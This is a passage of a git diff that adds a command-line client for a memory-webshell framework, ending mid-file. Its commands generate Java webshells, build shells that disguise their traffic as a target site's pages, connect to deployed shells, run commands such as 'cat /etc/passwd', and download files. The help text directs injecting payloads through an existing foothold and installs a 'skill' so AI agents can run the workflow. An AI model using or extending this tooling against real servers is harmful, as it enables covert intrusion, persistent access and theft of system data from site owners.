+ expect(r.stdout).toMatch(/^Examples:$/m);
+ }
+ });
+
+ it("unknown command exits 1", () => {
+ expect(run(["definitely-not-a-command"]).status).toBe(1);
+ });
+
+ it("connect without URL exits 1 with a plain error", () => {
+ const r = run(["connect"]);
+ expect(r.status).toBe(1);
+ expect(r.stderr).toMatch(/no URL/);
+ });
+
+ it("with --json the same failure is a JSON document on stdout", () => {
+ const r = run(["connect", "--json"]);
+ expect(r.status).toBe(1);
+ const doc = JSON.parse(r.stdout) as { ok: boolean; error: string };
+ expect(doc.ok).toBe(false);
+ expect(doc.error).toMatch(/no URL/);
+ });
+
+ it("gen --no-interactive without required flags fails as JSON with --json", () => {
+ const r = run(["gen", "--no-interactive", "--json"]);
+ expect(r.status).toBe(1);
+ const doc = JSON.parse(r.stdout) as { ok: boolean; error: string };
+ expect(doc.ok).toBe(false);
+ expect(doc.error).toMatch(/Missing required option/);
+ });
+
+ it("list --json works fully offline", () => {
+ const r = run(["list", "--json"]);
+ expect(r.status).toBe(0);
+ expect(JSON.parse(r.stdout)).toEqual({});
+ });
+});
+
+describe("repl", () => {
+ function repl(input: string): RunResult {
+ const r = spawnSync(process.execPath, [CLI], {
+ input,
+ encoding: "utf8",
+ env: {
+ ...process.env,
+ MEMPARTY_REPL: "1",
+ MEMPARTY_TARGETS: join(storeDir, "targets.json"),
+ MEMPARTY_OPLOG: join(storeDir, "operations.jsonl"),
+ },
+ });
+ return { status: r.status ?? -1, stdout: r.stdout, stderr: r.stderr };
+ }
+
+ it("executes commands line by line and exits 0", () => {
+ const r = repl("list --json\nbadcmd\nquit\n");
+ expect(r.status).toBe(0);
+ expect(r.stdout).toContain("interactive mode");
+ expect(r.stdout).toContain("{}"); // list output
+ expect(r.stderr + r.stdout).toMatch(/unknown command/); // badcmd reported, loop kept going
+ });
+
+ it("JSON error mode works inside the REPL", () => {
+ const r = repl("connect --json\nquit\n");
+ expect(r.status).toBe(0);
+ expect(r.stdout).toContain('"ok":false');
+ });
+});
diff --git a/tools/cli/src/cli.ts b/tools/cli/src/cli.ts
new file mode 100644
index 00000000..5d199b3b
--- /dev/null
+++ b/tools/cli/src/cli.ts
@@ -0,0 +1,115 @@
+import { Command, CommanderError } from "commander";
+
+import { ApiError } from "./api/client.js";
+import { reportError } from "./cli-context.js";
+import { registerConfigCommand } from "./commands/config.js";
+import { registerConnectCommand } from "./commands/connect.js";
+import { registerCustomCommand } from "./commands/custom.js";
+import { registerDemoCommand } from "./commands/demo.js";
+import { registerExecCommand } from "./commands/exec.js";
+import { registerGenCommand } from "./commands/gen.js";
+import { registerLogCommand } from "./commands/log.js";
+import { registerMcpCommand } from "./commands/mcp.js";
+import { registerParseClassNameCommand } from "./commands/parse-classname.js";
+import { registerProbeCommand } from "./commands/probe.js";
+import { registerProfileCommand } from "./commands/profile.js";
+import { registerSkillCommand } from "./commands/skill.js";
+import { registerTargetCommand } from "./commands/target.js";
+import { registerDownloadCommand, registerUploadCommand } from "./commands/transfer.js";
+import { registerVersionCommand } from "./commands/version.js";
+import { DEFAULT_API_URL, ENV_VAR } from "./core/config.js";
+import { startRepl } from "./repl.js";
+import { CLI_VERSION } from "./version.js";
+
+function buildProgram(): Command {
+ const program = new Command();
+
+ program
+ .name("memparty")
+ .description("CLI + MCP client for MemShellParty (party.mem.mk)")
+ .version(CLI_VERSION, "-v, --version", "output the CLI version")
+ .option(
+ "--api ",
+ `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`,
+ )
+ .option("--timeout ", "request timeout in milliseconds", "30000")
+ .exitOverride() // throw instead of process.exit — needed by the REPL and the JSON error path
+ .addHelpText(
+ "after",
+ `
+Quick start:
+ $ memparty gen # interactive memory-shell wizard
+ $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class
+ $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value my-secret-token
+ $ memparty exec 192.0.2.1/godzilla --cmd whoami # auto-saved by a successful connect
+ $ memparty download 192.0.2.1/godzilla /etc/passwd -o passwd
+ $ memparty list # saved targets
+ $ memparty log # recent operations
+
+Site-mimicking (mimic) flow:
+ $ memparty skill install # teach your agent this workflow
+ $ memparty profile init acme --site http://192.0.2.1:8080 # then write the profile
+ $ memparty custom build --profile acme --server Tomcat # -> injectable payload
+ $ memparty demo # local end-to-end walkthrough
+
+Every subcommand has its own examples: memparty --help
+`,
+ );
+
+ registerGenCommand(program);
+ registerProbeCommand(program);
+ registerConfigCommand(program);
+ registerConnectCommand(program);
+ registerExecCommand(program);
+ registerDownloadCommand(program);
+ registerUploadCommand(program);
+ registerTargetCommand(program);
+ registerLogCommand(program);
+ registerParseClassNameCommand(program);
+ registerProfileCommand(program);
+ registerSkillCommand(program);
+ registerCustomCommand(program);
+ registerDemoCommand(program);
+ registerVersionCommand(program);
+ registerMcpCommand(program);
+
+ return program;
+}
+
+async function main(): Promise {
+ // bare `memparty` in a terminal drops into the REPL; piped/CI keeps printing help
+ if (process.argv.length <= 2 && (process.stdin.isTTY || process.env.MEMPARTY_REPL)) {
+ await startRepl(buildProgram);
+ return;
+ }
+
+ const program = buildProgram();
+ try {
+ await program.parseAsync(process.argv);
+ } catch (err) {
+ // Set exitCode rather than calling process.exit(): an abrupt exit while
+ // undici's (global fetch) keep-alive socket is still open trips a libuv
+ // assertion on Windows. Letting the event loop drain avoids the crash.
+ if (err instanceof CommanderError) {
+ // exitOverride: commander already printed help/usage/version; keep its exit code
+ process.exitCode = err.exitCode;
+ } else if (err instanceof ApiError) {
+ reportError(`API error (${err.status || "network"}): ${err.message}`, process.argv);
+ process.exitCode = 1;
+ } else if (err instanceof Error) {
+ // Inquirer throws this when the user aborts with Ctrl-C.
+ if (err.name === "ExitPromptError") {
+ process.stderr.write("\nAborted.\n");
+ process.exitCode = 130;
+ } else {
+ reportError(err.message, process.argv);
+ process.exitCode = 1;
+ }
+ } else {
+ reportError(String(err), process.argv);
+ process.exitCode = 1;
+ }
+ }
+}
+
+void main();
diff --git a/tools/cli/src/commands/config.ts b/tools/cli/src/commands/config.ts
new file mode 100644
index 00000000..f20c9888
--- /dev/null
+++ b/tools/cli/src/commands/config.ts
@@ -0,0 +1,85 @@
+import { Command } from "commander";
+
+import { createClient, type GlobalOptions } from "../cli-context.js";
+
+interface ConfigCmdOptions extends GlobalOptions {
+ json?: boolean;
+}
+
+function printJsonOrLines(data: unknown, json: boolean | undefined, renderLines: () => string[]): void {
+ if (json) {
+ process.stdout.write(`${JSON.stringify(data, null, 2)}\n`);
+ } else {
+ process.stdout.write(`${renderLines().join("\n")}\n`);
+ }
+}
+
+export function registerConfigCommand(program: Command): void {
+ const config = program
+ .command("config")
+ .description("Query supported servers, shell tools, shell types, and packers")
+ .addHelpText(
+ "after",
+ `
+Examples:
+ $ memparty config servers # servers + their shell types (values for gen -s)
+ $ memparty config tools Tomcat # tools available on one server (values for gen -t)
+ $ memparty config packers # packer tree (values for gen -p)
+ $ memparty config command # Command-tool encryptors and impl classes
+`,
+ );
+
+ config
+ .command("servers")
+ .description("List supported servers and their shell types")
+ .option("--json", "output raw JSON")
+ .action(async (opts: ConfigCmdOptions, cmd: Command) => {
+ const client = createClient(cmd.optsWithGlobals());
+ const servers = await client.getServers();
+ printJsonOrLines(servers, opts.json, () =>
+ Object.entries(servers).map(([name, types]) => `${name}\n ${types.join(", ")}`),
+ );
+ });
+
+ config
+ .command("tools")
+ .description("List shell tools (and their shell types) per server")
+ .argument("[server]", "filter by a single server name")
+ .option("--json", "output raw JSON")
+ .action(async (server: string | undefined, opts: ConfigCmdOptions, cmd: Command) => {
+ const client = createClient(cmd.optsWithGlobals());
+ const config = await client.getConfig();
+ const filtered = server ? { [server]: config[server] ?? {} } : config;
+ printJsonOrLines(filtered, opts.json, () =>
+ Object.entries(filtered).flatMap(([name, tools]) => [
+ name,
+ ...Object.entries(tools).map(([tool, types]) => ` ${tool}: ${types.join(", ")}`),
+ ]),
+ );
+ });
+
+ config
+ .command("packers")
+ .description("List packers (parent / child tree)")
+ .option("--json", "output raw JSON")
+ .action(async (opts: ConfigCmdOptions, cmd: Command) => {
+ const client = createClient(cmd.optsWithGlobals());
+ const tree = await client.getPackerTree();
+ printJsonOrLines(tree, opts.json, () =>
+ tree.map((p) => (p.children.length ? `${p.name}\n ${p.children.join(", ")}` : p.name)),
+ );
+ });
+
+ config
+ .command("command")
+ .description("List Command-tool encryptors and implementation classes")
+ .option("--json", "output raw JSON")
+ .action(async (opts: ConfigCmdOptions, cmd: Command) => {
+ const client = createClient(cmd.optsWithGlobals());
+ const cc = await client.getCommandConfigs();
+ printJsonOrLines(cc, opts.json, () => [
+ `encryptors: ${cc.encryptors.join(", ")}`,
+ `implementationClasses: ${cc.implementationClasses.join(", ")}`,
+ ]);
+ });
+}
diff --git a/tools/cli/src/commands/connect.ts b/tools/cli/src/commands/connect.ts
new file mode 100644
index 00000000..1be481cf
--- /dev/null
+++ b/tools/cli/src/commands/connect.ts
@@ -0,0 +1,166 @@
+import { Command, Option } from "commander";
+
+import { logInfo, reportError, type GlobalOptions } from "../cli-context.js";
+import { protocolNames, requireProtocol, type ProtocolOptions } from "../connect/registry.js";
+import type { CommonConnectOptions, ConnectTestResult } from "../connect/types.js";
+import { logOp } from "../core/oplog.js";
+import { autoSaveShell, resolveConnection } from "../core/targets.js";
+
+interface ConnectCmdOptions extends GlobalOptions {
+ url?: string;
+ tool?: string;
+ pass?: string;
+ key?: string;
+ headerName?: string;
+ headerValue?: string;
+ header?: string[];
+ suo5Mode?: ProtocolOptions["suo5Mode"];
+ profile?: string;
+ dynamicPath?: boolean;
+ insecure?: boolean;
+ json?: boolean;
+ save?: boolean;
+}
+
+function parseExtraHeaders(lines: string[] | undefined): Record {
+ const headers: Record = {};
+ for (const line of lines ?? []) {
+ const idx = line.indexOf(":");
+ if (idx <= 0) {
+ throw new Error(`invalid header ${JSON.stringify(line)}, expected "Name: value"`);
+ }
+ headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();
+ }
+ return headers;
+}
+
+export function registerConnectCommand(program: Command): void {
+ program
+ .command("connect")
+ .description(
+ "Test whether a deployed webshell is alive and the credentials work",
+ )
+ .argument("[name]", "saved target name (see 'memparty list')")
+ .option("-u, --url ", "URL of the deployed shell (or give a saved target name)")
+ .addOption(new Option("-t, --tool ", "shell protocol").choices(protocolNames()))
+ .option("--pass ", "password (godzilla default: pass; behinder default: rebeyond)")
+ .option("--key ", "godzilla/mimic key (default: key)")
+ .option(
+ "--header-name ",
+ "gate header name reported by gen (shellToolConfig.headerName)",
+ )
+ .option(
+ "--header-value ",
+ "gate header value reported by gen (shellToolConfig.headerValue)",
+ )
+ .option("-H, --header ", 'extra request header, e.g. -H "Cookie: a=b"')
+ .addOption(
+ new Option("--suo5-mode ", "suo5 protocol variant")
+ .choices(["auto", "v2", "v1"])
+ .default("auto"),
+ )
+ .option("--profile ", "mimic: site profile name (see 'memparty profile')")
+ .option("--dynamic-path", "mimic: randomize the request path from the site profile")
+ .option("-k, --insecure", "skip TLS certificate verification")
+ .option("--json", "output raw JSON")
+ .option("--no-save", "do not auto-save the target after a successful test")
+ .addHelpText(
+ "after",
+ `
+Examples:
+ $ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key \\
+ --header-value my-secret-token
+ $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
+ --header-value my-secret-token
+ $ memparty connect -u http://target/suo5.jsp -t suo5
+ $ memparty connect -u http://target/ -t mimic --pass pass --key key \\
+ --profile target-site --dynamic-path
+ $ memparty connect web222 # saved target, see 'memparty list'
+ $ memparty connect -u https://target/shell.jsp -t godzilla -k --json
+
+Note: shells generated by MemShellParty check a gate header — copy
+shellToolConfig.headerName/headerValue from the \`gen --json\` output
+(default header name is "User-Agent"), or the shell stays silent.
+A successful test auto-saves the profile as / (skip with
+--no-save); afterwards just pass the name. See 'memparty list',
+'memparty note' and 'memparty remove' to manage saved targets.
+`,
+ )
+ .action(async (name: string | undefined, opts: ConnectCmdOptions, cmd: Command) => {
+ const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };
+ const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
+
+ let conn;
+ try {
+ conn = resolveConnection(name, {
+ url: opts.url,
+ tool: opts.tool,
+ pass: opts.pass,
+ key: opts.key,
+ headerName: opts.headerName,
+ headerValue: opts.headerValue,
+ extraHeaders: parseExtraHeaders(opts.header),
+ insecure: opts.insecure,
+ profile: opts.profile,
+ });
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return;
+ }
+
+ const common: CommonConnectOptions = {
+ headerName: conn.headerName,
+ headerValue: conn.headerValue,
+ extraHeaders: conn.extraHeaders,
+ timeoutMs,
+ insecure: conn.insecure,
+ };
+
+ let result: ConnectTestResult;
+ try {
+ const protocol = requireProtocol(conn.tool);
+ const options: ProtocolOptions = {
+ suo5Mode: opts.suo5Mode,
+ profile: conn.profile,
+ dynamicPath: opts.dynamicPath,
+ };
+ result = await protocol.test({ conn, common, options });
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return;
+ }
+
+ // a successful handshake proves the credentials — keep them as a named target
+ let savedAs: string | undefined;
+ if (result.ok && conn.targetName === undefined && opts.save !== false) {
+ savedAs = autoSaveShell(conn);
+ conn.targetName = savedAs;
+ }
+
+ logOp({
+ category: "connect",
+ action: "connect",
+ targetName: conn.targetName,
+ url: conn.url,
+ tool: conn.tool,
+ ok: result.ok,
+ durationMs: result.durationMs,
+ detail: result.detail,
+ error: result.error,
+ });
+
+ if (opts.json) {
+ process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}\n`);
+ } else if (result.ok) {
+ process.stdout.write(`OK ${result.tool} ${result.url}\n ${result.detail ?? ""}\n`);
+ if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
+ } else {
+ process.stderr.write(`FAIL ${result.tool} ${result.url}\n ${result.error ?? ""}\n`);
+ }
+ if (!result.ok) {
+ process.exitCode = 1;
+ }
+ });
+}
diff --git a/tools/cli/src/commands/custom.ts b/tools/cli/src/commands/custom.ts
new file mode 100644
index 00000000..129a30fd
--- /dev/null
+++ b/tools/cli/src/commands/custom.ts
@@ -0,0 +1,145 @@
+import { Command } from "commander";
+
+import { createClient, logInfo, reportError, type GlobalOptions } from "../cli-context.js";
+import { randomString } from "../connect/crypto.js";
+import { logOp } from "../core/oplog.js";
+import { loadProfile } from "../core/site-profile.js";
+import { buildCustomMemshell } from "../custom/build.js";
+
+interface CustomBuildCmdOptions extends GlobalOptions {
+ profile?: string;
+ server?: string;
+ type?: string;
+ pass?: string;
+ key?: string;
+ urlPattern?: string;
+ packer?: string;
+ jdk?: string;
+ out?: string;
+ json?: boolean;
+}
+
+/**
+ * `memparty custom build` — the agent-friendly one-shot: profile in,
+ * injectable mimic memory shell out. The generated credentials and the
+ * follow-up connect command are printed (and stored in manifest.json) so an
+ * agent can chain the steps without re-deriving anything.
+ */
+export function registerCustomCommand(program: Command): void {
+ program
+ .command("custom")
+ .description("Custom (mimic) memory shells built from a site profile")
+ .addCommand(
+ new Command("build")
+ .description("profile -> filter class -> MemShellParty Custom -> injectable payload")
+ .requiredOption("--profile ", "site profile name (see 'memparty profile list')")
+ .requiredOption("--server ", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')")
+ .option("--type ", "shell type the filter implements", "Filter")
+ .option("--pass ", "credential baked into the shell (random if omitted)")
+ .option("--key ", "crypto key baked into the shell (random if omitted)")
+ .option("--url-pattern ", "injector URL pattern", "/*")
+ .option("--packer ", "payload packer", "DefaultBase64")
+ .option("--jdk ", "target JDK, e.g. java8", "java8")
+ .option("--out ", "output directory", undefined)
+ .option("--json", "output raw JSON")
+ .addHelpText(
+ "after",
+ `
+The full loop (see docs/mimic-memshell-guide.md):
+ 1. write a site profile memparty profile init acme --site https://acme.cn
+ 2. build the shell memparty custom build --profile acme --server Tomcat
+ 3. inject payload-*.txt via your foothold (RCE / existing shell / upload)
+ 4. connect + exec memparty connect -u -t mimic --profile acme ...
+
+Delivery is NOT part of this command — it only builds the payload.
+Requires a JDK (javac on PATH) and a MemShellParty backend (--api).
+`,
+ )
+ .action(async (opts: CustomBuildCmdOptions, cmd: Command) => {
+ const globals = cmd.optsWithGlobals() as GlobalOptions;
+ const fail = (message: string): void => {
+ reportError(message, opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ };
+
+ let profile;
+ try {
+ profile = loadProfile(opts.profile!);
+ } catch (err) {
+ fail(err instanceof Error ? err.message : String(err));
+ return;
+ }
+
+ // credentials are generated unless given — they are baked into the class
+ const pass = opts.pass ?? randomString(10);
+ const secret = opts.key ?? randomString(16);
+ const outDir = opts.out ?? `${opts.profile}-build`;
+
+ const client = createClient(globals);
+ const started = Date.now();
+ try {
+ const result = await buildCustomMemshell(
+ {
+ profile,
+ server: opts.server!,
+ shellType: opts.type,
+ pass,
+ secret,
+ urlPattern: opts.urlPattern,
+ packer: opts.packer,
+ jdk: opts.jdk,
+ outDir,
+ },
+ client,
+ );
+
+ logOp({
+ category: "gen",
+ action: "custom-build",
+ ok: true,
+ durationMs: Date.now() - started,
+ detail: `${result.fullClassName} -> ${result.injectorClassName} (${result.server}/${result.shellType})`,
+ meta: {
+ profile: profile.name,
+ server: result.server,
+ shellType: result.shellType,
+ packer: result.packer,
+ },
+ });
+
+ if (opts.json) {
+ const { response: _response, ...summary } = result;
+ process.stdout.write(`${JSON.stringify({ ok: true, ...summary }, null, 2)}\n`);
+ return;
+ }
+
+ logInfo(`filter class: ${result.fullClassName}`);
+ logInfo(
+ `injector class: ${result.injectorClassName} (server=${result.server}, type=${result.shellType})`,
+ );
+ logInfo(`credentials: --pass ${result.pass} --key ${result.secret}`);
+ logInfo(`cipher: ${JSON.stringify(result.cipher)}`);
+ for (const [name, file] of Object.entries(result.files.payloads)) {
+ logInfo(`payload [${name}]: ${file}`);
+ }
+ logInfo(`manifest: ${result.files.manifest}`);
+ process.stdout.write(
+ `\nnext steps:\n` +
+ ` 1. inject the payload via your foothold (RCE defineClass / existing shell / upload)\n` +
+ ` 2. memparty connect -u -t mimic --profile ${profile.name} --pass ${result.pass} --key ${result.secret}\n` +
+ ` 3. memparty exec /mimic --cmd "id"\n`,
+ );
+ } catch (err) {
+ logOp({
+ category: "gen",
+ action: "custom-build",
+ ok: false,
+ durationMs: Date.now() - started,
+ error: err instanceof Error ? err.message : String(err),
+ meta: { profile: profile.name, server: opts.server },
+ });
+ fail(err instanceof Error ? err.message : String(err));
+ }
+ }),
+ );
+}
diff --git a/tools/cli/src/commands/demo.ts b/tools/cli/src/commands/demo.ts
new file mode 100644
index 00000000..4d332c65
--- /dev/null
+++ b/tools/cli/src/commands/demo.ts
@@ -0,0 +1,114 @@
+import { Command } from "commander";
+
+import { reportError, type GlobalOptions } from "../cli-context.js";
+import { MOCK_HOMEPAGE, startMimicServer } from "../connect/mimic-server.js";
+import { getProtocol } from "../connect/registry.js";
+import { saveProfile, type SiteProfile } from "../core/site-profile.js";
+import type { ResolvedConnection } from "../core/targets.js";
+
+interface DemoCmdOptions extends GlobalOptions {
+ cmd?: string;
+ json?: boolean;
+}
+
+/**
+ * The profile for the demo's fake site, written by hand — in a real
+ * engagement this is the file the operator (or AI agent) authors after
+ * reading the target's pages.
+ */
+function demoProfile(site: string): SiteProfile {
+ return {
+ name: "demo",
+ site,
+ createdAt: new Date().toISOString(),
+ templates: [
+ {
+ title: "云枢科技 - 企业数字化服务商",
+ template: MOCK_HOMEPAGE,
+ contentType: "text/html; charset=utf-8",
+ },
+ ],
+ paths: ["/products/", "/news/", "/about/"],
+ };
+}
+
+/**
+ * `memparty demo` — run the whole mimic loop locally against a fake
+ * business site: hand-written profile, handshake, then one command.
+ * Nothing leaves 127.0.0.1.
+ */
+export function registerDemoCommand(program: Command): void {
+ program
+ .command("demo")
+ .description(
+ "Run the mimic protocol end-to-end locally: fake business site + profile " +
+ "+ connect + one exec (no external traffic)",
+ )
+ .option("--cmd ", "command to execute on the fake target", "whoami")
+ .option("--json", "output raw JSON")
+ .addHelpText(
+ "after",
+ `
+This is the reference walk-through for the mimic plugin:
+ 1. starts a fake business site on 127.0.0.1 (a mimic shell hides in it)
+ 2. loads a hand-written site profile (in real engagements the operator
+ or AI agent writes it — see 'memparty profile init')
+ 3. 'connect' does a credential round-trip using a dynamic path
+ 4. 'exec' runs --cmd through the same channel
+Watch the printed request URL in step 3/4: it changes every run.
+`,
+ )
+ .action(async (opts: DemoCmdOptions, cmd: Command) => {
+ const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };
+ const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
+ const log = (line: string) => {
+ if (!opts.json) process.stdout.write(`${line}\n`);
+ };
+
+ const server = await startMimicServer();
+ try {
+ log(`[1/4] fake business site up at ${server.url}`);
+
+ const profile = demoProfile(server.url.replace(/\/+$/, ""));
+ saveProfile(profile);
+ log(
+ `[2/4] profile 'demo' loaded: title=${JSON.stringify(profile.templates![0]!.title)}, ` +
+ `paths=[${profile.paths.join(", ")}], templates=${profile.templates!.length}`,
+ );
+
+ const protocol = getProtocol("mimic")!;
+ const conn: ResolvedConnection = {
+ url: server.url,
+ tool: "mimic",
+ pass: "pass",
+ key: "key",
+ extraHeaders: {},
+ profile: "demo",
+ };
+ const common = { timeoutMs };
+ const options = { profile: "demo", dynamicPath: true };
+
+ const test = await protocol.test({ conn, common, options });
+ if (!test.ok) throw new Error(`connect failed: ${test.error}`);
+ log(`[3/4] connect ok — ${test.detail}`);
+
+ const result = await protocol.exec!({ conn, common, options }, opts.cmd!);
+ if (!result.ok) throw new Error(`exec failed: ${result.error}`);
+ log(`[4/4] exec ok — ${JSON.stringify(opts.cmd)} output:`);
+
+ if (opts.json) {
+ process.stdout.write(
+ `${JSON.stringify({ ok: true, profile, test, exec: result }, null, 2)}\n`,
+ );
+ } else {
+ process.stdout.write(`${result.output ?? ""}`);
+ if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
+ }
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ } finally {
+ await server.close();
+ }
+ });
+}
diff --git a/tools/cli/src/commands/exec.ts b/tools/cli/src/commands/exec.ts
new file mode 100644
index 00000000..ec1a2d50
--- /dev/null
+++ b/tools/cli/src/commands/exec.ts
@@ -0,0 +1,179 @@
+import { Command, Option } from "commander";
+
+import { logInfo, reportError, type GlobalOptions } from "../cli-context.js";
+import {
+ protocolNames,
+ requireProtocol,
+ unsupportedMessage,
+ type ProtocolOptions,
+} from "../connect/registry.js";
+import type { CommonConnectOptions, ExecResult } from "../connect/types.js";
+import { logOp, truncateOutput } from "../core/oplog.js";
+import { autoSaveShell, resolveConnection } from "../core/targets.js";
+
+interface ExecCmdOptions extends GlobalOptions {
+ url?: string;
+ tool?: string;
+ pass?: string;
+ key?: string;
+ cmd?: string;
+ os?: "auto" | "windows" | "linux";
+ headerName?: string;
+ headerValue?: string;
+ header?: string[];
+ profile?: string;
+ dynamicPath?: boolean;
+ insecure?: boolean;
+ json?: boolean;
+ save?: boolean;
+}
+
+function parseExtraHeaders(lines: string[] | undefined): Record {
+ const headers: Record = {};
+ for (const line of lines ?? []) {
+ const idx = line.indexOf(":");
+ if (idx <= 0) {
+ throw new Error(`invalid header ${JSON.stringify(line)}, expected "Name: value"`);
+ }
+ headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();
+ }
+ return headers;
+}
+
+export function registerExecCommand(program: Command): void {
+ program
+ .command("exec")
+ .description(
+ "Execute a command on a deployed webshell and print its output",
+ )
+ .argument("[name]", "saved target name (see 'memparty list')")
+ .option("-u, --url ", "URL of the deployed shell (or give a saved target name)")
+ .addOption(
+ new Option("-t, --tool ", "shell protocol").choices(protocolNames("exec")),
+ )
+ .requiredOption("--cmd ", "command line to execute on the target")
+ .option("--pass ", "password (godzilla default: pass; behinder default: rebeyond)")
+ .option("--key ", "godzilla/mimic key (default: key)")
+ .addOption(
+ new Option("--os ", "godzilla: remote OS for the shell wrapper")
+ .choices(["auto", "windows", "linux"])
+ .default("auto"),
+ )
+ .option(
+ "--header-name ",
+ "gate header name reported by gen (shellToolConfig.headerName)",
+ )
+ .option(
+ "--header-value ",
+ "gate header value reported by gen (shellToolConfig.headerValue)",
+ )
+ .option("-H, --header ", 'extra request header, e.g. -H "Cookie: a=b"')
+ .option("--profile ", "mimic: site profile name (see 'memparty profile')")
+ .option("--dynamic-path", "mimic: randomize the request path from the site profile")
+ .option("-k, --insecure", "skip TLS certificate verification")
+ .option("--json", "output raw JSON")
+ .option("--no-save", "do not auto-save the target after a successful exec")
+ .addHelpText(
+ "after",
+ `
+Examples:
+ $ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key \\
+ --header-value my-secret-token --cmd "whoami"
+ $ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\
+ --header-value my-secret-token --cmd "cat /etc/passwd"
+ $ memparty exec web222 --cmd "whoami" # saved target, see 'memparty list'
+ $ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\
+ --cmd "ipconfig /all" --json
+
+Note: godzilla auto-detects the remote OS (one extra request) to pick
+cmd.exe vs /bin/sh — pass --os to skip the detection. Behinder detects
+the OS inside its payload, so --os does not apply.
+`,
+ )
+ .action(async (name: string | undefined, opts: ExecCmdOptions, cmd: Command) => {
+ const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };
+ const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
+
+ let conn;
+ try {
+ conn = resolveConnection(name, {
+ url: opts.url,
+ tool: opts.tool,
+ pass: opts.pass,
+ key: opts.key,
+ headerName: opts.headerName,
+ headerValue: opts.headerValue,
+ extraHeaders: parseExtraHeaders(opts.header),
+ insecure: opts.insecure,
+ profile: opts.profile,
+ });
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return;
+ }
+
+ const common: CommonConnectOptions = {
+ headerName: conn.headerName,
+ headerValue: conn.headerValue,
+ extraHeaders: conn.extraHeaders,
+ timeoutMs,
+ insecure: conn.insecure,
+ };
+
+ let result: ExecResult;
+ try {
+ const protocol = requireProtocol(conn.tool);
+ if (!protocol.exec) {
+ reportError(unsupportedMessage(protocol, "exec"), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return;
+ }
+ const options: ProtocolOptions = {
+ os: opts.os,
+ profile: conn.profile,
+ dynamicPath: opts.dynamicPath,
+ };
+ result = await protocol.exec({ conn, common, options }, opts.cmd!);
+ } catch (err) {
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
+ process.exitCode = 1;
+ return;
+ }
+
+ // a successful exec proves the credentials — keep them as a named target
+ let savedAs: string | undefined;
+ if (result.ok && conn.targetName === undefined && opts.save !== false) {
+ savedAs = autoSaveShell(conn);
+ conn.targetName = savedAs;
+ }
+
+ const truncated = result.output !== undefined ? truncateOutput(result.output) : null;
+ logOp({
+ category: "exec",
+ action: "exec",
+ targetName: conn.targetName,
+ url: conn.url,
+ tool: conn.tool,
+ ok: result.ok,
+ durationMs: result.durationMs,
+ command: opts.cmd,
+ output: truncated?.output,
+ outputTruncated: truncated?.truncated || undefined,
+ error: result.error,
+ });
+
+ if (opts.json) {
+ process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}\n`);
+ } else if (result.ok) {
+ process.stdout.write(result.output ?? "");
+ if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
+ if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
+ } else {
+ process.stderr.write(`FAIL ${result.tool} ${result.url}\n ${result.error ?? ""}\n`);
+ }
+ if (!result.ok) {
+ process.exitCode = 1;
+ }
+ });
+}
diff --git a/tools/cli/src/commands/gen.ts b/tools/cli/src/commands/gen.ts
new file mode 100644
index 00000000..dd090e75
--- /dev/null
+++ b/tools/cli/src/commands/gen.ts
@@ -0,0 +1,225 @@
+import { readFileSync } from "node:fs";
+
+import { Command, Option } from "commander";
+
+import { createClient, type GlobalOptions, logInfo } from "../cli-context.js";
+import { logOp } from "../core/oplog.js";
+import { emitPayload } from "../core/output.js";
+import { buildMemShellRequest, type MemShellOptions } from "../core/request-builder.js";
+import { runMemShellWizard } from "../wizard/memshell-wizard.js";
+
+interface GenCmdOptions extends GlobalOptions {
+ server?: string;
+ serverVersion?: string;
+ tool?: string;
+ type?: string;
+ packer?: string;
+ jdk?: string;
+ debug?: boolean;
+ bypassModule?: boolean;
+ shrink?: boolean;
+ lambdaSuffix?: boolean;
+ probe?: boolean;
+ shellClassName?: string;
+ godzillaPass?: string;
+ godzillaKey?: string;
+ behinderPass?: string;
+ antswordPass?: string;
+ commandParamName?: string;
+ commandTemplate?: string;
+ encryptor?: string;
+ implementationClass?: string;
+ headerName?: string;
+ headerValue?: string;
+ shellClassBase64?: string;
+ shellClassFile?: string;
+ urlPattern?: string;
+ injectorClassName?: string;
+ staticInitialize?: boolean;
+ output?: string;
+ decode?: boolean;
+ json?: boolean;
+ interactive?: boolean;
+}
+
+const REQUIRED = ["server", "tool", "type", "packer"] as const;
+
+function toOptions(o: GenCmdOptions): MemShellOptions {
+ let shellClassBase64 = o.shellClassBase64;
+ if (o.shellClassFile) {
+ shellClassBase64 = readFileSync(o.shellClassFile).toString("base64");
+ }
+ return {
+ server: o.server!,
+ serverVersion: o.serverVersion,
+ shellTool: o.tool!,
+ shellType: o.type!,
